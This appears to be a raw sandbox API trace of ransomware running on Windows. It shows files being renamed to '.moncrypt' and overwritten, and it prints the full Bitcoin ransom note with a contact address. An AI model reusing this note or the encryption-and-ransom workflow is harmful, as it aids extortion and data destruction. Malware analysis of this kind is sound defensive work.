FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a348, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0052.447] GetLastError () returned 0x2 [0052.447] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.447] GlobalLock (hMem=0x440004) returned 0x550170 [0052.447] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.447] GlobalUnlock (hMem=0x440004) returned 0 [0052.447] GlobalLock (hMem=0x440004) returned 0x550170 [0052.447] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.447] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.447] GlobalUnlock (hMem=0x440004) returned 0 [0052.447] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.447] GlobalUnlock (hMem=0x44000c) returned 0 [0052.447] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.447] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.448] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.448] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.448] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.448] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.448] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.448] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a368, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.448] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.448] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.448] GlobalUnlock (hMem=0x44000c) returned 0 [0052.449] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.449] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.449] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.449] GlobalUnlock (hMem=0x44000c) returned 0 [0052.449] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.449] GlobalUnlock (hMem=0x440004) returned 0 [0052.449] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.449] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.449] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.451] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\") returned 0x40 [0052.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.451] GlobalLock (hMem=0x440004) returned 0x550170 [0052.451] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.451] GlobalUnlock (hMem=0x440004) returned 0 [0052.451] GlobalLock (hMem=0x440004) returned 0x550170 [0052.451] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.451] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.451] GlobalUnlock (hMem=0x440004) returned 0 [0052.451] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.451] GlobalUnlock (hMem=0x44000c) returned 0 [0052.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.451] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.451] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0052.451] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.451] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.451] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.451] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.451] GlobalUnlock (hMem=0x44000c) returned 0 [0052.451] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.451] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.451] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.451] GlobalUnlock (hMem=0x44000c) returned 0 [0052.451] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.451] GlobalUnlock (hMem=0x440004) returned 0 [0052.452] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.453] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.454] CloseHandle (hObject=0x18c) returned 1 [0052.454] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\я")) returned 1 [0052.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 0x54e240 [0052.455] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.455] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.455] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", dwFileAttributes=0x20) returned 1 [0052.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.moncrypt")) returned 1 [0052.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.457] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.457] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x166d5 [0052.457] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.457] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.458] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.459] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.459] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.459] GlobalUnlock (hMem=0x44000c) returned 0 [0052.459] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0052.459] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.459] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.459] GlobalUnlock (hMem=0x44000c) returned 0 [0052.459] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.459] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.459] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.459] GlobalUnlock (hMem=0x440004) returned 0 [0052.459] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.459] GlobalUnlock (hMem=0x44000c) returned 0 [0052.459] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.459] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.460] GlobalUnlock (hMem=0x44000c) returned 0 [0052.460] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.460] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.460] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.460] GlobalUnlock (hMem=0x44000c) returned 0 [0052.460] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.460] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.460] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.460] SetFilePointer (in: hFile=0x18c, lDistanceToMove=91861, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x166d5 [0052.460] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.460] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.460] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.481] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.481] CloseHandle (hObject=0x18c) returned 1 [0052.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.484] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.484] CloseHandle (hObject=0x18c) returned 1 [0052.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.485] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.485] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.485] GlobalUnlock (hMem=0x44000c) returned 0 [0052.485] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.485] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.485] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.485] GlobalUnlock (hMem=0x44000c) returned 0 [0052.485] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.485] GlobalUnlock (hMem=0x440004) returned 0 [0052.485] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a300, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.485] GetLastError () returned 0x2 [0052.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.488] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.488] CloseHandle (hObject=0x18c) returned 1 [0052.489] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0052.489] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.489] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.489] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.489] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.489] GlobalUnlock (hMem=0x440004) returned 0 [0052.489] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.489] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.489] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.489] GlobalUnlock (hMem=0x440004) returned 0 [0052.489] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.489] GlobalUnlock (hMem=0x44000c) returned 0 [0052.489] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.490] CharLowerBuffW (in: lpsz="PAPYRUS.INF", cchLength=0xb | out: lpsz="papyrus.inf") returned 0xb [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", 